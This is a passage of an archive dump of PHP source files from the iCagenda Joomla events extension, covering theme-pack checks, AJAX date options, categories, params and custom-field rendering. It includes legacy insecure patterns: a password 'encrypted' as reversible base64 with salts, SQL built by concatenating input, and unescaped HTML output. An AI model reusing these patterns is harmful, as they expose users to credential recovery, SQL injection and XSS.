~ updated : display in Global Options of the component and modules


iCagenda 3.0 beta 1 <small style="font-weight:normal;">(2013.06.09)</small>
================================================================================
! First beta version compatible with Joomla 3 and Joomla 2.5

* Changed files in 3.0
! Given that this new version brings compatibility with Joomla 3, all php files were reviewed to allow dual Joomla 2.5 / 3.x compatibility. Other files were also reviewed, with a major overhaul of logic and graphic structure of iCagenda. The list of modified files is reset with this new version 3.0 of iCagenda and the list of modified files will be detailed again from future release 3.0.1


iCagenda v2 ChangeLog <small style="font-weight:normal;">(2012.12.31 > 2013.05.29)</small>
? <a href="http://icagenda.joomlic.com/docs/changelog/87-v2-changelog" target="_blank" style="color:#fff">http://icagenda.joomlic.com/docs/changelog/87-v2-changelog</a>

iCagenda v1 ChangeLog <small style="font-weight:normal;">(2012.08.07 > 2012.08.29)</small>
? <a href="http://icagenda.joomlic.com/docs/changelog/89-v1-changelog" target="_blank" style="color:#fff">http://icagenda.joomlic.com/docs/changelog/89-v1-changelog</a>

;
com_icagenda/utilities/theme/theme.php000060400000010616152455305270014075 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-13
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaTheme
 */
class icagendaTheme
{
	/**
	 * Function to Check Theme Packs Compatibility
	 *
	 * @return	list of Incompatible Theme Packs
	 *
	 * @since	3.4.0
	 */
	static public function checkThemePacks()
	{
		// Check Theme Packs Compatibility
		icagendaTheme::checkIncompatibleThemePacks('CUSTOM_FIELDS',
													'event',
													'COM_ICAGENDA_TITLE_CUSTOMFIELDS',
													'http://www.icagenda.com/theme-pack-upgrade/3-4-0-add-custom-fields');

		icagendaTheme::checkIncompatibleThemePacks('FEATURES_ICONS',
													'events',
													'COM_ICAGENDA_TITLE_FEATURES',
													'http://www.icagenda.com/theme-pack-upgrade/3-4-0-add-feature-icons');
	}
	/**
	 * Function to set an alert message if a string is missing in a theme pack
	 *
	 * @params	$string				string to be checked
	 * 			$file_name			file to be tested
	 * 			$functionnality		functionnality not usable with theme pack
	 *
	 * @return	list of Incompatible Theme Packs
	 *
	 * @since	3.4.0
	 */
	static public function checkIncompatibleThemePacks($string, $file_name, $functionnality, $info_url = null)
	{
		$app = JFactory::getApplication();

		// Render list of incompatible Theme Packs
		$list = self::incompatibleList($string, $file_name);

		if ($list)
		{
			if (version_compare(JVERSION, '3.0', 'lt'))
			{
				$im_list	= implode('<br /> - ', $list);
				$setlist	= ' - '.$im_list.' ';
			}
			else
			{
				$im_list	= implode('</li><li>', $list);
				$setlist	= '<ul><li>'.$im_list.'</li></ul>';
			}

			$title = 'COM_ICAGENDA_THEME_PACKS_COMPATIBILITY';
			$description = 'COM_ICAGENDA_THEME_PACKS_INCOMPATIBLE_ALERT';

			// Set Alert Message
			$alert	= array();

			if (count($list) >= 1)
			{
				$alert[]	= '<div style="clear:both">';
				$alert[]	=  '<b>'.JText::_( $title ).'</b>';
				$alert[]	= '<p>';
				$alert[]	=  JText::sprintf( $description, '<strong>' . JText::_($functionnality) . '</strong>' );
				if ($info_url) $alert[]	=  ' <a class="modal" rel="{size: {x: 700, y: 500}, handler:\'iframe\'}" href="'.$info_url.'">' .JText::_( 'IC_MORE_INFORMATION' ). '</a>';
				$alert[]	= '</p>';

				$alert[]	= '<p>';
				$alert[]	= $setlist;
				$alert[]	= '</p>';

				$alert[]	= '</div>';
			}

			$alert_message = implode("\n", $alert);

			$app->enqueueMessage($alert_message, 'warning');
		}
	}

	/*
	 * Function to check if 'string' is defined inside the file THEME_$file.php for each Theme Pack.
	 *
	 * @return	list of incompatible Theme Packs.
	 *
	 * @since	3.4.0
	 */
	static public function incompatibleList($string, $file_name)
	{
		$array_themes = Array();

		$dirname = JPATH_SITE.'/components/com_icagenda/themes/packs';

		if (ini_get('allow_url_fopen') && file_exists($dirname))
		{
			$handle = opendir($dirname);

			while (false !== ($theme = readdir($handle)))
			{
				if ( !is_file($dirname.$theme)
					&& $theme!= '.'
					&& $theme!='..'
					&& $theme!='index.php'
					&& $theme!='index.html'
					&& $theme!='.DS_Store'
					&& $theme!='.thumbs' )
				{
					$day_php = $dirname.'/'.$theme.'/'.$theme.'_day.php';
					$event_php = $dirname.'/'.$theme.'/'.$theme.'_event.php';
					$events_php = $dirname.'/'.$theme.'/'.$theme.'_events.php';
					$registration_php = $dirname.'/'.$theme.'/'.$theme.'_registration.php';

					$array_files_php = array($day_php, $event_php, $events_php, $registration_php);

					$count = 0;

					foreach ($array_files_php AS $file_php)
					{
						if (iCFile::hasString($string, $file_php))
						{
							$count = $count+1;
						}
					}

					if ($count < 1)
					{
						array_push($array_themes, $theme);
					}
				}
			}

			$handle = closedir($handle);
		}

		sort($array_themes);

		if ($array_themes) return $array_themes;

		return false;
	}
}
com_icagenda/utilities/theme/index.html000060400000000037152455305270014253 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/info/info.php000060400000002430152455305270013552 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-05-17
 * @since       3.5.6
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaInfo
 */
class icagendaInfo
{
	/**
	 * Function to add comment with iCagenda version (used for faster support)
	 *
	 * @since	3.4.0
	 */
	static public function commentVersion()
	{
		$params		= JComponentHelper::getParams('com_icagenda');
		$release	= $params->get('release', '');
		$icsys		= $params->get('icsys', 'core');

		$icagenda	= 'iCagenda ' . strtoupper($icsys) . ' ' . $release;

		if ($icsys == 'core')
		{
			$icagenda.= ' by Jooml!C - http://www.joomlic.com';
		}

		echo "<!-- " . $icagenda . " -->";

		return true;
	}
}
com_icagenda/utilities/info/index.html000060400000000037152455305270014104 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/ajax/ajax.php000060400000023371152455305270013541 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2014-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-30
 * @since       3.5.9
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaAjax
 */
class icagendaAjax
{
	/**
	 * Function to return options for date select, depending of event
	 *
	 * @since	3.5.9
	 */
	static public function getOptionsEventDates($view = null, $id = null)
	{
		$jinput		= JFactory::getApplication()->input;
		$regid		= $jinput->get('regid', '0');
		$eventid	= $jinput->get('eventid', '0');

		$data	= JFactory::getApplication()->getUserState('com_icagenda.' . $view . '.data', array());
		$date	= isset($data['date']) ? $data['date'] : '';

		$date_format_global	= JComponentHelper::getParams('com_icagenda')->get('date_format_global', 'Y - m - d');
		$separator			= JComponentHelper::getParams('com_icagenda')->get('date_separator', ' ');

		if ($eventid != 0 && $view == 'mail')
		{
			$db		= JFactory::getDbo();
			$query	= $db->getQuery(true);
			$query->select('r.id as reg_id, r.date AS reg_date, r.period AS reg_period, r.eventid AS reg_eventid, sum(r.people) AS reg_count')
				->from('`#__icagenda_registration` AS r');
			$query->select('e.startdate AS startdate, e.enddate AS enddate, e.weekdays AS weekdays')
				->join('LEFT', $db->quoteName('#__icagenda_events') . ' AS e ON e.id = r.eventid');
			$query->where('r.state = 1');
			$query->where('r.email <> ""');
			$query->group('r.date');
			$query->where('r.eventid = ' . (int) $eventid);
			$db->setQuery($query);

			$result = $db->loadObjectList();
		}
		elseif ($view == 'registration')
		{
			$db	= JFactory::getDbo();

			$query = $db->getQuery(true);
			$query->select('next AS next, dates AS dates,
							startdate AS startdate, enddate AS enddate, weekdays AS weekdays,
							id AS id, state AS state, access AS access, params AS params');
			$query->from('`#__icagenda_events` AS e');
			$query->where(' e.id = ' . $eventid);

			$db->setQuery($query);

			$i = $db->loadObject();

			if ($regid != 0)
			{
				$reg_query	= $db->getQuery(true);
				$reg_query->select('r.id as reg_id, r.date AS reg_date, r.period AS reg_period, r.eventid AS reg_eventid')
					->from('`#__icagenda_registration` AS r');
				$reg_query->where('r.id = ' . (int) $regid);
				$db->setQuery($reg_query);

				$obj = $db->loadObject();

				$reg_date	= $obj->reg_date;
				$reg_period	= $obj->reg_period;
			}
			else
			{
				$reg_date	= '';
				$reg_period	= '';
			}
		}

		$options = '';

		if ($view == 'mail')
		{
			$options.= '<option value="">' . JText::_('COM_ICAGENDA_SELECT_DATE') . '</option>';
			$options.= '<option value="all"';
			$options.= ($date == 'all') ? ' selected="selected"' : '';
			$options.= '>' . strtoupper(JText::_('COM_ICAGENDA_REGISTRATION_ALL_DATES')) . '</option>';
		}
		elseif ($i && $view == 'registration')
		{
			$options.= self::getOptionsAllDates($i, 'registration', $reg_date, $reg_period);
		}

		if (isset($result) && $view == 'mail')
		{
			foreach($result as $r)
			{
				// Full period (no single date selected, supposes registration for full period)
				if ( ! $r->reg_date && $r->reg_period == 0)
				{
					// Check the period if is separated into individual dates
					$is_full_period = ($r->weekdays || $r->weekdays == '0') ? false : true;

					if ($is_full_period
						&& iCDate::isDate($r->startdate)
						&& iCDate::isDate($r->enddate))
					{
						$option_value = '0';
						$option_date = self::formatDate($r->startdate) . ' &#x279c; ' . self::formatDate($r->startdate);
					}
					else
					{
						$option_value	= '0';
						$option_date	= JText::_( 'COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_PERIOD' );
					}
				}

				// All dates of the event (single dates + period)
				elseif ( ! $r->reg_date && $r->reg_period == 1)
				{
					$option_value	= '1';
					$option_date	= JText::_( 'COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_DATES' );
				}

				// One date selected (from single dates or split period into single dates)
				else
				{
					if (iCDate::isDate($r->reg_date))
					{
						$regDate		= iCGlobalize::dateFormat($r->reg_date, $date_format_global, $separator);
						$time			= date('H:i', strtotime($r->reg_date));
						$regTime		= ($time && $time != '00:00') ? ' - ' . $time : '';
					}

					$option_value	= $r->reg_date;

					// Date format (global option).
					// NOTE: Date saved in database with versions before 3.3.8 can not be formatted
					//       Will return a string (date in old format) with double quote.
					$option_date	= iCDate::isDate($r->reg_date) ? $regDate . $regTime : '"' . $r->reg_date . '"';
				}

				$options.= '<option value="' . $option_value . '"';
				$options.= ($date == $option_value) ? ' selected="selected"' : '';
				$options.= '>' . $option_date . ' (&#10003;' . $r->reg_count . ')</option>';
			}
		}

		echo $options;

		Jexit();
	}

	static public function getOptionsAllDates($i, $view = null, $reg_date = null, $reg_period = null)
	{
		$options = '';

		if ($i)
		{
			// Set Event Params
			$eventparam		= new JRegistry($i->params);

			$typeReg		= $eventparam->get('typeReg');

			// Registration type for event is set to "All dates of the event"
			if ($typeReg == '2')
			{
				if ( $reg_period != 1 )
				{
					$options.= '<option value="' . $reg_date . '" selected="selected">' . JText::_('COM_ICAGENDA_SELECT_DATE') . '</option>';
					$options.= '<option value="update"';
					$options.= '>' . JText::_('COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_DATES') . '</option>';
				}
				else
				{
					$options.= '<option value=""';
					$options.= ' selected="selected"';
					$options.= '>' . JText::_('COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_DATES') . '</option>';
				}
			}
			else
			{
				if ( ( ! $reg_date && $reg_period == 1)
					|| ($reg_date && ! iCDate::isDate($reg_date))
					|| ( ! $reg_date && $reg_period == 0)
					|| ( iCDate::isDate($reg_date) && $reg_period == 1) )
				{
					$options.= '<option value="' . $reg_date . '"';
					$options.= ' selected="selected"';
					$options.= '>' . JText::_('COM_ICAGENDA_SELECT_DATE') . '</option>';
				}

				// Declare AllDates array
				$AllDates		= array();

				// Get WeekDays setting
				$WeeksDays		= iCDatePeriod::weekdaysToArray($i->weekdays);

				// If Single Dates, added each one to All Dates for this event
				$singledates	= iCString::isSerialized($i->dates) ? unserialize($i->dates) : array();

				foreach($singledates as $sd)
				{
					if (iCDate::isDate($sd))
					{
						array_push($AllDates, $sd);
					}
				}

				// If Period Dates, added each one to All Dates for this event (filter week Days, and if date not null)
				$perioddates = iCDatePeriod::listDates($i->startdate, $i->enddate);

				if (isset($perioddates)
					&& is_array($perioddates))
				{
					// Check the period if is separated into individual dates
					$is_full_period = ($i->weekdays || $i->weekdays == '0') ? false : true;

					if ($is_full_period
						&& iCDate::isDate($i->startdate)
						&& iCDate::isDate($i->enddate))
					{
						$value_datetime = '';

						$options.= '<option value="' . $value_datetime . '"';

						if ($reg_date == '' && $reg_period != 1)
						{
							$date_exist = true;
							$options.= ' selected="selected"';
						}

						$options.= '>' . self::formatDate($i->startdate) . ' &#x279c; ' . self::formatDate($i->startdate) . '</option>';
					}
					else
					{
						foreach ($perioddates as $Dat)
						{
							if (in_array(date('w', strtotime($Dat)), $WeeksDays))
							{
								// May not work in php < 5.2.3 (should return false if date null since 5.2.4)
								$isValid = iCDate::isDate($Dat);

								if ($isValid)
								{
									$SingleDate = date('Y-m-d H:i', strtotime($Dat));
									array_push($AllDates, $SingleDate);
								}
							}
						}
					}
				}

				// get Time Format
				$timeformat = JComponentHelper::getParams('com_icagenda')->get('timeformat', '1');

				$lang_time = ($timeformat == 1) ? 'H:i' : 'h:i A';

				if ( ! empty($AllDates))
				{
					sort($AllDates);
				}

				foreach($AllDates as $date)
				{
					if (iCDate::isDate($date))
					{
						$value_datetime = date('Y-m-d H:i:s', strtotime($date));

						$options.= '<option value="' . $value_datetime . '"';

						if ($reg_date == $value_datetime)
						{
							$date_exist = true;
							$options.= ' selected="selected"';
						}

						$options.= '>' . self::formatDate($date) . ' - ' . date($lang_time, strtotime($date)) . '</option>';
					}
				}
			}

			return $options;
		}

		return false;
	}


	// Function to get Format Date (using option format, and translation)
	static public function formatDate($date)
	{
		// Date Format Option (Global Component Option)
		$date_format_global	= JComponentHelper::getParams('com_icagenda')->get('date_format_global', 'Y - m - d');
		$format				= ($date_format_global != 0) ? $date_format_global : 'Y - m - d'; // Previous 3.5.6 setting

		// Separator Option
		$separator			= JComponentHelper::getParams('com_icagenda')->get('date_separator', ' ');

		if ( ! is_numeric($format))
		{
			// Update old Date Format options of versions before 2.1.7
			$format = str_replace(array('nosep', 'nosep', 'sepb', 'sepa'), '', $format);
			$format = str_replace('.', ' .', $format);
			$format = str_replace(',', ' ,', $format);
		}

		$dateFormatted = iCGlobalize::dateFormat($date, $format, $separator);

		return $dateFormatted;
	}
}
com_icagenda/utilities/ajax/index.html000060400000000037152455305270014074 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/categories/index.html000060400000000037152455305270015276 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/categories/categories.php000060400000002671152455305270016145 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2014-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-05-12
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaCategories
 */
class icagendaCategories
{
	/**
	 * Function to return list of categories
	 *
	 * @access	public static
	 * @param	$state (if not defined, state is published ('1'))
	 * @return	list array of categories
	 *
	 * @since   1.0.0
	 */
	static public function getList($state = null)
	{
		// Preparing connection to db
		$db		= JFactory::getDbo();

		// Preparing the query
		$query	= $db->getQuery(true);
		$query->select('c.color AS color, c.title AS title')
			->from('#__icagenda_category AS c');

		if ($state) $query->where("(c.state = '$state')");

		$db->setQuery($query);
		$list = $db->loadObjectList();

		if ($list)
		{
			return $list;
		}
		else
		{
			return false;
		}
	}
}
com_icagenda/utilities/params/index.html000060400000000037152455305270014434 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/params/params.php000060400000005135152455305270014437 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2014-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-12-21
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaParams
 */
class icagendaParams
{
	/**
	 * Function to encrypt user pro password
	 *
	 * @access	public static
	 * @param	$id - id of the event
	 * @return	list array of access levels, approval and event access status
	 *
	 * @since	3.4.0
	 */
	static public function encryptPassword()
	{
		$params = JComponentHelper::getParams( 'com_icagenda' );
		$icsys = $params->get('icsys', 'core');

		if ($icsys == 'pro')
		{
			jimport('joomla.user.helper');

			$crypt1 = JUserHelper::genRandomPassword(2);
			$crypt2 = JUserHelper::genRandomPassword(2);
			$salt_8 = JUserHelper::genRandomPassword(8);
			$salt_16 = JUserHelper::genRandomPassword(16);
			$salt_32 = JUserHelper::genRandomPassword(32);
			$password = $params->get('password', '');

			$is_crypted = substr_count($password, '$');

			if ($is_crypted != 3 && strlen($password) != 0)
			{
				$encoded = base64_encode($password);

				if (strlen($encoded) > 32)
				{
					$salt1 = $salt_16;
					$salt2 = $salt_8;
				}
				elseif (strlen($encoded) < 32 && strlen($encoded) > 16)
				{
					$salt1 = $salt_16;
					$salt2 = $salt_8;
				}
				else
				{
					$salt1 = $salt_32;
					$salt2 = $salt_16;
				}

				$pass_encoded = '$' . $crypt1 . '$' . $crypt2 . '$' . $salt1 . '.' . $encoded . '/' . $salt2;
//				$_pass = str_replace('/', '.', $pass_encoded);
//				$pass_ex = explode('.', $_pass);
//				$decoded = base64_decode($encoded);
				$password = $pass_encoded;

				// Get the params and set the new values
				$params->set('password', $password);

				// Get a new database query instance
				$db = JFactory::getDBO();
				$query = $db->getQuery(true);

				// Build the query
				$query->update('#__extensions AS a');
				$query->set('a.params = ' . $db->quote((string)$params));
				$query->where('a.element = "com_icagenda"');

				// Execute the query
				$db->setQuery($query);
				$db->query();
			}
		}
	}
}
com_icagenda/utilities/customfields/customfields.php000060400000040407152455305270017074 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.10 2015-08-25
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaCustomfields
 */
class icagendaCustomfields
{
	/**
	 * Function to return list of custom fields depending on the parent form
	 *
	 * @access	public static
	 * @param	$parent_form (1 registration, 2 event edit)
	 * 			$state (if not defined, state is published ('1'))
	 * @return	object list array of custom fields depending on the item ID
	 *
	 * @since   3.4.0
	 */
	static public function getListCustomFields($parent_form, $state = null)
	{
		$filter_state = isset($state) ? $state : 1;

		// Create a new query object.
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('cf.slug AS cf_slug, cf.type AS cf_type, cf.options AS cf_options,
						cf.title AS cf_title, cf.type AS cf_type, cf.required AS cf_required')
			->from('#__icagenda_customfields AS cf')
			->where($db->qn('cf.state') . ' = ' . $db->q($filter_state))
			->where($db->qn('cf.parent_form') . ' = ' . $db->q($parent_form))
			->order('cf.ordering ASC');
		$db->setQuery($query);
		$list = $db->loadObjectList();

		if ($list) return $list;

		return false;
	}

	/**
	 * Function to return list of custom fields depending on the item ID
	 *
	 * @access	public static
	 * @param	$id item ID
	 * 			$parent_form (1 registration, 2 event edit)
	 * 			$state (if not defined, state is published ('1'))
	 * @return	object list array of custom fields depending on the item ID
	 *
	 * @since   3.4.0
	 */
	static public function getList($id, $parent_form = null, $state = null)
	{
		$filter_state = isset($state) ? $state : 1;

		// Create a new query object.
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('cf.slug AS cf_slug, cfd.value AS cf_value, cfd.parent_id AS cf_parent_id, cf.title AS cf_title, cf.required AS cf_required')
			->from('#__icagenda_customfields AS cf')
			->leftJoin($db->qn('#__icagenda_customfields_data') . ' AS cfd'
				. ' ON ' . $db->qn('cfd.parent_id') .' = ' . (int)$id
				. ' AND ' . $db->qn('cf.slug') .' = ' . $db->qn('cfd.slug'))
			->where($db->qn('cf.state') . ' = ' . $db->q($filter_state))
			->where($db->qn('cf.parent_form') . ' = ' . $db->q($parent_form))
			->order('cf.ordering ASC');
		$db->setQuery($query);
		$list = $db->loadObjectList();

		if ($list) return $list;

		return false;
	}

	/**
	 * Function to return a list of filled custom fields depending on the item ID
	 *
	 * @access	public static
	 * @param	$id item ID
	 * 			$parent_form (1 registration, 2 event edit)
	 * 			$state (if not defined, state is published ('1'))
	 * @return	object list array of custom fields not empty depending on the item ID
	 *
	 * @since   3.4.0
	 */
	static public function getListNotEmpty($id, $parent_form = null, $state = null)
	{
		$filter_state = isset($state) ? $state : 1;

		// Create a new query object.
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('cfd.slug AS cf_slug, cfd.value AS cf_value, cfd.parent_id AS cf_parent_id, cf.title AS cf_title')
			->from('#__icagenda_customfields_data AS cfd')
			->leftJoin($db->qn('#__icagenda_customfields') . ' AS cf'
				. ' ON ' . $db->qn('cf.slug') .' = ' . $db->qn('cfd.slug'))
			->where($db->qn('cf.state') . ' = ' . $db->q($filter_state));

		if ($parent_form)
		{
			$query->where($db->qn('cfd.parent_form') . ' = ' . $db->q($parent_form));
		}

		$query->where($db->qn('cfd.parent_id') . ' = ' . (int)$id);
		$query->order('cf.ordering ASC');
		$db->setQuery($query);
		$list = $db->loadObjectList();

		if ($list) return $list;

		return false;
	}

	/**
	 * Return the HTML body of Custom fields for this parent form (parent_id)
	 *
	 * @return HTML fields
	 *
	 * @since	3.4.0
	 */
	static public function loader($parent_form)
	{
		$app = JFactory::getApplication();
		$session = JFactory::getSession();
		$custom_fields = $session->get('custom_fields');

		$customfields = icagendaCustomfields::getCustomfields($parent_form);

		$cf_display = '';

		if ( $customfields )
		{
			foreach ($customfields as $icf)
			{
				if (empty($icf->value)) $icf->value = '';

//				if ($custom_fields) $icf->value = $custom_fields[$icf->slug];
				if ( $app->isSite() )
				{
					$icf->value = isset($custom_fields[$icf->slug]) ? $custom_fields[$icf->slug] : '';
				}

				$options_required = array('list', 'radio');

				// If type is list or radio, should have options
				if ((in_array($icf->type, $options_required) && $icf->options)
					|| ! in_array($icf->type, $options_required))
				{
					$cf_display.= icagendaCustomfields::displayField(
						$icf->type,
						$icf->title,
						$icf->alias,
						$icf->slug,
						$icf->description,
						$icf->value,
						$icf->options,
						$icf->required
					);
				}
			}

			if ($app->isAdmin()) $cf_display.= '<hr>';
		}
		elseif ( $app->isAdmin() )
		{
			$cf_display.= '<div class="alert alert-info">';
			$cf_display.= JText::_('COM_ICAGENDA_CUSTOMFIELDS_NONE');
			$cf_display.= '</div>';
		}
		elseif ( $app->isSite() )
		{
			return false;
		}

		return $cf_display;
	}

	/**
	 * Gets the custom fields for this form
	 *
	 * @return object list
	 *
	 * @since	3.4.0
	 */
	static public function getCustomfields($parent_form)
	{
		$app = JFactory::getApplication();
		$id = $app->input->getInt('id');

		// Get the database connector.
		$db = JFactory::getDbo();

		$list_slugs = array();

		if ($id)
		{
			// Get the query from the database connector.
			$query = $db->getQuery(true);

			// Build the query
			$query->select('id, slug')
				->from($db->qn('#__icagenda_customfields').' AS cf');
			$query->where($db->qn('cf.parent_form').' = ' .$db->q($parent_form));

			// Run Query
			$db->setQuery($query);

			// Invoke the Query
			$all_slugs = $db->loadObjectList();

			// Create array of custom fields slugs for this event
			foreach ($all_slugs as $s)
			{
				$list_slugs[] = '"' . $s->slug . '"';
			}

			$list_slugs = implode(',', $list_slugs);
		}

		// Get the query from the database connector.
		$query = $db->getQuery(true);

		// Build the query
		$query->select('cf.*')
			->from($db->qn('#__icagenda_customfields').' AS cf');

		if ($id && $list_slugs)
		{
			// Build the query
			$query->select('cfd.value AS value')
				->leftJoin($db->qn('#__icagenda_customfields_data') . ' AS cfd'
					. ' ON (' . $db->qn('cfd.parent_id') . ' = ' . (int)$id
					. ' AND ' . $db->qn('cfd.slug') . ' = ' .$db->qn('cf.slug') . ')')
				->where($db->qn('cf.slug').' IN ('.$list_slugs.')');
		}

		$query->where($db->qn('cf.parent_form').' = ' .$db->q($parent_form));
		$query->where($db->qn('cf.state').' = 1');

		$query->order('cf.ordering ASC');

		// Tell the database connector what query to run.
		$db->setQuery($query);

		// Invoke the query.
		if ($db->loadObjectList()) return $db->loadObjectList();

		return false;
	}

	/**
	 * Create the HTML body of the custom fields
	 *
	 * @return object list
	 *
	 * @since	3.4.0
	 */
	static public function displayField($type, $title, $alias, $slug, $description, $value, $options, $required)
	{
		$options_required = array('list', 'radio');

		// If type is list or radio, should have options
		if (in_array($type, $options_required) && ! $options) return false;

		$app = JFactory::getApplication();
		$view = $app->input->get('view');

		$ic_prefix = $app->isSite() ? 'ic-' : '';
		$ic_data = ($app->isSite() && $view != 'registration') ? 'custom_fields' : 'jform[custom_fields]';

		if (empty($value)) $value = '';
// Remove to get session value frontend		$value = $app->isAdmin() ? $value : '';

		$text_required	= $required ? ' required="true"' : '';
		$list_required	= $required ? ' required' : '';
		$radio_required	= $required ? ' required' : '';

		// Required, '*' after label
		$required_icon = $required ? ' *' : '';

		$class_label = ($type == 'radio') ? $ic_prefix . 'control-label' : '';
		$icTip_custom = $description
			? htmlspecialchars('<strong>' . $title . '</strong><br />' . $description . '')
			: '';
		if ($type == 'list' || $type == 'radio') { $is_list = ' ic-select'; } else { $is_list = ''; }

		$cf_fields = '<div class="' . $ic_prefix . 'control-group clearfix" id="' . $alias . '_alias">';
		$cf_fields.= '<div id="' . $alias . '_message"></div>';
		$cf_fields.= '<div class="' . $ic_prefix . 'control-label">';

		// Label
		$label = '<label';

		if ($app->isAdmin())
		{
			if ($class_label || $icTip_custom)
			{
				if ($icTip_custom) $label.= ' title="" data-original-title="'.$icTip_custom.'"';
				$label.= ' class="';
				if ($icTip_custom) $label.= 'hasTooltip';
				if ($icTip_custom && $class_label) $label.= ' ';
				if ($class_label) $label.= $class_label;
				$label.= '"';
			}
		}

		if ($type != 'radio')
		{
			$label.= ' for="' . $slug . '_slug"';
		}

		$label.= '>';
		$label.= $title;

//		if ($type != 'radio')
//		{
			$label.= $required_icon;
//		}

		$label.= '</label>';

		$cf_fields.= $label;
		$cf_fields.= '</div>';

		$cf_fields.= '<div class="' . $ic_prefix . 'controls' . $is_list . '">';

		// Field Type TEXT
		if ($type == 'text')
		{
			$cf_fields.= '<input type="'.$type.'"';
			$cf_fields.= ' class="input-large"';
			$cf_fields.= ' id="' . $slug . '_slug"';
			$cf_fields.= ' name="' . $ic_data . '['.$slug.']"';
			$cf_fields.= ' value="' . $value . '"';
			$cf_fields.= ' placeholder="' . $options . '"';
			$cf_fields.= $text_required;
			$cf_fields.= ' />';
		}

		// Field Type LIST
		elseif ($type == 'list')
		{
//			$cf_fields.= '<select'.$list_required.' id="' . $slug . '" name="' . $ic_data . '['.$slug.']">';
			$cf_fields.= '<select'.$list_required.' type="list" class="select-large" id="' . $slug . '_slug" name="' . $ic_data . '['.$slug.']">';

			$empty_selected = empty($value) ? ' selected="selected"' : '';

//			$cf_fields.= '<option value=""'.$empty_selected.'>- ' . JText::_('IC_SELECT_AN_OPTION') . ' -</option>';
			$cf_fields.= '<option value="">- ' . JText::_('IC_SELECT_AN_OPTION') . ' -</option>';

			$opts_list = str_replace("\n", "##BREAK##", $options);
			$opts_list = explode("##BREAK##", $opts_list);

			foreach ($opts_list as $opts)
			{
				$opt = explode("=", $opts);

				if ($opt[0] && $opt[1])
				{
					if (empty($value))
					{
						$selected = isset($opt[2]) ? ' selected="selected"' : '';
					}
						else
					{
						$selected = '';
					}

					$cf_fields.= '<option value="'.$opt[0].'"';

					if ($value == $opt[0])
					{
						$cf_fields.= ' selected="selected"';
					}

					$cf_fields.= ''.$selected.'>';
					$cf_fields.= $opt[1].'</option>';
				}
			}
			$cf_fields.= '</select>';
		}

		// Field Type RADIO
		elseif ($type == 'radio')
		{
			$cf_fields.= '<fieldset class="' . $ic_prefix . 'radio ' . $ic_prefix . 'btn-group">';

